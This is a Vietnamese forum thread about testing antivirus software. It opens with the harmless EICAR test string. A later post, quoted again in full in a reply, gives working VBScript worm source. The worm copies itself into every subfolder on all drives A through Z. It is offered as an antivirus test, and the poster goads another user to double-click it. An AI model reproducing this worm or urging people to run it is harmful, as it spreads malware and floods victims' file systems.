Tạo Virus Giả để xem Antivirus của bạn có độ an toàn ntn?

Tạo Virus Giả để xem Antivirus của bạn có độ an toàn ntn?


Pà kon hãy mở Notepad trong Windows có sẵn hoặc mở menu Start=>All Programs=>Access..=>rồi tìm tới Notepad.
Sau đó hãy copy đoạn Code sau đây và Paste vào đó :

Code:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save đoạn code trên và đặt tên là "virutgia.com" hoặc tùy pà kon nhưng mà phải có định dạng "*.com" là được (ko phải

virus gì đâu chỉ là 1 đoạn code tạo virus giả thôi, pà kon cứ yên tâm). Rồi chờ 5s nó sẽ báo phát hiện virus và remove đi

thì chúc mừng pà kon antivirus của pà kon hoạt động rất tốt!

Pà kon cứ tính mỗi giây trôi qua thì khả năng an toàn của antivirus của pà kon giảm 1%.

Hic .. hic .. nếu 1 phút trôi qua mà vẫn "trời yên bể lặng" thì pà kon hãy kiếm 1 antivirus khác good hơn,vì con anti này

*loop* .. * còi* vô cùng, vậy mà ....

Chắc pà kon cũng thắc mắc : "Tại vì đây là virut giả mà, nó ko phát hiện cũng chứng minh được gì?"


Vì vậy mình đã test thử rồi.
Với con virut hàng giả trên, minh đã test thử với 3 phần mềm Antivirus đại diện:

1. Kaspersky Internet Security 2010 9.0.0.736en
Vừa save chưa được 1s, nó đã báo rằng folder đó có chứa virut EICAR-Test-File.

2. AVG INTERNET SECURITY NETWORK EDITION 90_707a1765
Save xong ko thấy gì xảy ra, => Bắt đầu nghi ngờ AVG còi
Nhưng nháy vào cái file "virutgia.com" thì AVG nó ko cho truy nhập, nó ngăn ko cho sử dụng, bây giờ nó mới đòi delete.
Hoặc quét folder thì nó báo ngay rằng có virut.

3. BkavPro Internet Security 2009 (Có bản quyền hẳn hoi)
Save xong cũng ko thấy gì xảy ra,
nháy vào cái file "virutgia.com" thì cũng ko thấy gì xảy ra,
quét folder thì cũng ko thấy gì xảy ra,
Thằng BkavPro Internet Security 2009 coi như không có gì.


Vậy thì pà kon hãy thử tại gia với phần mềm Antivirus của mình xem sao ha ....

Nếu pà kon thấy hay hay thì hãy thank mình ha, thank các bạn trước!!!!

đồng chí này hay tìm những cái linh tinh nhỉ !! t làm thì 1s là nó bắt diệt, chắc là pm antivirus này ổn

1s sau KAV del lun.

Nếu đã tin tưởng thực sự với Antivirus của bạn thì hãy thử với cái này nhé ...

(Chú ý đây là code độc thực sự, nếu bạn ko tin tưởng Antivirus của mih thì đừng thử)

Code:

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Save đoạn code trên và đặt tên là "virutgia.vbs" hoặc tùy các bạn nhưng mà phải có định dạng "*.vbs" là được.
Bây giờ bạn hãy nháy đúp vào xem sao???

khonghoten đã viết:

Nếu đã tin tưởng thực sự với Antivirus của bạn thì hãy thử với cái này nhé ...

(Chú ý đây là code độc thực sự, nếu bạn ko tin tưởng Antivirus của mih thì đừng thử)

Code:

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Save đoạn code trên và đặt tên là "virutgia.vbs" hoặc tùy các bạn nhưng mà phải có định dạng "*.vbs" là được.
Bây giờ bạn hãy nháy đúp vào xem sao???

độc dược bảng A hả, ok men, để t thử xem thế nào, thanks fát

Xi-Trum đã viết:

độc dược bảng A hả, ok men, để t thử xem thế nào, thanks fát

Nháy đúp vào chưa bạn ới???? Ko full virusgia thì hơi phí, ha ha h .. a ...!!!!!

khonghoten đã viết:

Xi-Trum đã viết:

độc dược bảng A hả, ok men, để t thử xem thế nào, thanks fát

Nháy đúp vào chưa bạn ới???? Ko full virusgia thì hơi phí, ha ha h .. a ...!!!!!

vừa sờ can một cái, cả hai file virut1.com và virut2.vbs đều bị bay hơi
yêu BK Home quá đi mất